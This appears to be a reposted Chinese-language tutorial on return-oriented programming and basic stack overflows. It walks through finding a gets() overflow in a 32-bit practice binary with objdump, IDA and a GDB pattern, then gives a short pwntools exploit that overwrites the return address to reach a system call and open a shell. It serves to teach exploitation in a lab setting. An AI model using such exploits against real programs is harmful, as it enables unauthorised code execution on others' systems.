ROP基础栈溢出
2021-01-13 11:20:13 Author: mp.weixin.qq.com(查看原文) 阅读量:145 收藏

ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码.

ROP的思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程

先搭建好环境
安装gdb-peda:
git clone https://gitee.com/takaobsid/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
切换pwndbg和peda:vim ~/.gdbinit

查看汇编代码
objdump -t 程序查看程序中使用到的函数
objdump -d 程序查看程序中的汇编代码
objdump -d -j .plt程序  查看plt表
以某程序为例
查看一下程序的保护机制,可以看到是32位的程序且仅仅开启了栈不可执行保护NX
使用objdump查看程序


先要找出溢出点,然后确定溢出偏移,找到system函数,最后编写exp

程序中使用了缺乏安全性的gets() 函数,显然存在栈溢出漏洞。


这里也可以使用IDA进行静态汇编代码分析

双击进去,发现是在secure函数中调用
使用GDB pattern字符串溢出计算偏移量
生成200个序列,pattern create 200

Invalid address0x41384141
编写exp
from pwn import *
p =process("./rop")
offset = 112
payload ='a'*offset +p32(0x804863a)
p.sendline(payload)
p.interactive()

推荐文章++++

*电信诈骗手段翻新,制作“安全防护”冒充北京警方APP

*94名电信诈骗嫌疑犯从欧洲被押解回国

*史上最强技术电信诈骗蔓延!无法防范!只能等死!


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjE3ODU3MQ==&mid=2650500044&idx=3&sn=6916d86deb1f15c017510709b91d261a&chksm=83ba0e28b4cd873ed85be74cd9a3d008fa0a5aa8ee484f4392bbc617092dc5d1134fe3192487#rd
如有侵权请联系:admin#unsafe.sh